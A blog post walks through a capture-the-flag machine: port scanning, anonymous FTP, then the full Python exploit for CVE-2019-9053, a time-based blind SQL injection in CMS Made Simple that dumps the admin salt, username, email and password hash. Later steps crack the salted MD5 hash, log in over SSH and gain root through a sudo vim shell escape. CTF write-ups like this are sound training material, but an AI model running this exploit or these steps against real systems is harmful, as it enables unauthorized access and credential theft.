DEV Community

Cover image for CTF Walkthrough: CMS Made Simple (CVE-2019-9053) & Privilege Escalation
 Mohammad ali
Mohammad ali

Posted on

CTF Walkthrough: CMS Made Simple (CVE-2019-9053) & Privilege Escalation

Hello everyone! Welcome to a comprehensive, step-by-step walkthrough of a classic and educational Capture The Flag (CTF) machine. In this write-up, we will explore an unauthenticated Time-based Blind SQL Injection vulnerability affecting CMS Made Simple (CVE-2019-9053), perform anonymous FTP enumeration with the target IP, crack a salted password hash using Python, and finally achieve full Root privileges via a simple Sudo misconfiguration.

Let's dive right into the technical breakdown!


Phase 1: Reconnaissance & Enumeration

Every successful penetration test or CTF challenge begins with thorough reconnaissance. Understanding the target's attack surface allows us to pinpoint entry points efficiently.

1. Web Application & Initial Probing

We start by navigating directly to the web server interface hosted on the target IP to inspect the application layout, technologies used, and any exposed links.

Next, we inspect standard web files like robots.txt to check if the web administrator left behind hints or disallowed directories that might reveal hidden web apps or sensitive paths.

3. Comprehensive Port Scanning with Nmap

To discover all available entry vectors, we execute an Nmap scan against the target IP with service and script detection flags enabled:

nmap -sC -sV <IP>

Enter fullscreen mode Exit fullscreen mode

The scan reveals a standard FTP server, an Apache web server, and a non-standard SSH port (2222), which is a common hardening technique used by administrators to deter automated brute-force attacks.

4. Directory Brute-Forcing with Gobuster

To uncover hidden application directories that aren't hyperlinked on the homepage, we use Gobuster paired with a reliable wordlist:

gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Enter fullscreen mode Exit fullscreen mode

The scan successfully identifies a sub-directory named /simple.

5. Anonymous FTP Enumeration with the Target IP

Noticing that the FTP service is open on port 21, we connect directly to the target IP using the ftp command to check for anonymous access:

ftp <IP>

Enter fullscreen mode Exit fullscreen mode
  • When prompted for a name, we type anonymous (or leave it blank) and press Enter. Once connected, we list the directories, navigate into the pub folder, and download the FormMitch.txt file using the get command:
Connected to <IP>
220 (vsFTPd 3.0.3)
Name (10.64.146.96:kali): anonymous
230 Login successful.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
200 PORT command successful.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 FormMitch.txt
226 Directory send OK.
Enter fullscreen mode Exit fullscreen mode
get FormMitch.txt

Enter fullscreen mode Exit fullscreen mode

After downloading, we read the file using cat to inspect the developer's notes:

cat FormMitch.txt

Enter fullscreen mode Exit fullscreen mode

This gives us a sarcastic hint regarding weak credential reuse across the system.


Phase 2: Vulnerability Analysis & Exploitation (CVE-2019-9053)

With the web path /simple identified, we recognize the application as CMS Made Simple. We look up known exploits using searchsploit:

searchsploit cms made simple 2.2

Enter fullscreen mode Exit fullscreen mode

The search returns a critical unauthenticated SQL Injection vulnerability tracked under CVE-2019-9053. We copy the exploit script (46635.py) locally using the mirror flag (-m):

searchsploit -m php/webapps/46635.py

Enter fullscreen mode Exit fullscreen mode

Full Exploit Script (46635.py)

Editing the Exploit Script (46635.py)

nano 46635.py
Enter fullscreen mode Exit fullscreen mode

Here is the complete, unmodified Python 2 script used to exploit the Time-based Blind SQL Injection vulnerability:

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
import time
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print output
    print '[*] Try: ' + value

def beautify_print():
    global output
    print output

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print "[*] Try to crack password"
    crack_password()

beautify_print()

Enter fullscreen mode Exit fullscreen mode

and save the file (press Ctrl + O, then Enter to save, followed by Ctrl + X to exit).

Executing the Exploit

We run the Python 2 exploit script against the target application endpoint:

python2 46635.py -u http://<IP>/simple

Enter fullscreen mode Exit fullscreen mode

The script successfully dumps the password salt, username (mitch), email, and the target password hash.


Phase 3: Hash Cracking with Python

Because the extracted MD5 hash is coupled with a custom salt (1dac0d92e9fa6bb2), we write a complete and correct Python script to iterate through the rockyou.txt wordlist, combine the salt with each password candidate, compute the MD5 hash, and match it against our target hash:

python3 -c "
import hashlib

hash_val = '0c01f4468bd75d7a84c7eb73846e8d96'
salt = '1dac0d92e9fa6bb2'

with open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') as f:
    for line in f:
        pw = line.strip()
        if hashlib.md5((salt + pw).encode()).hexdigest() == hash_val:
            print('[+] FOUND PASSWORD:', pw)
            break
"

Enter fullscreen mode Exit fullscreen mode

Running this script successfully recovers the plaintext password: secret.


Phase 4: Initial Access via SSH

Armed with the username mitch and the recovered plaintext password secret, we log into the target via SSH using the non-standard port 2222:

ssh mitch@<IP> -p 2222

Enter fullscreen mode Exit fullscreen mode

Upon successful authentication, we land in the user's home directory, read the user flag (user.txt), and upgrade our shell using Python for a fully interactive pseudo-terminal (TTY):

python3 -c 'import pty; pty.spawn("/bin/bash")'

Enter fullscreen mode Exit fullscreen mode


Phase 5: Privilege Escalation to Root

With a stable user shell established, our final objective is to escalate privileges to root. We check what administrative commands our current user can execute using sudo:

sudo -l

Enter fullscreen mode Exit fullscreen mode

The output indicates that user mitch is allowed to run the vim text editor as root with NOPASSWD.

We easily leverage this misconfiguration to spawn an interactive root shell by executing:

sudo vim -c ':!bash'

Enter fullscreen mode Exit fullscreen mode

Finally, we navigate to the root directory, verify our high-level privileges, and read the root.txt flag to fully complete the lab!

Top comments (0)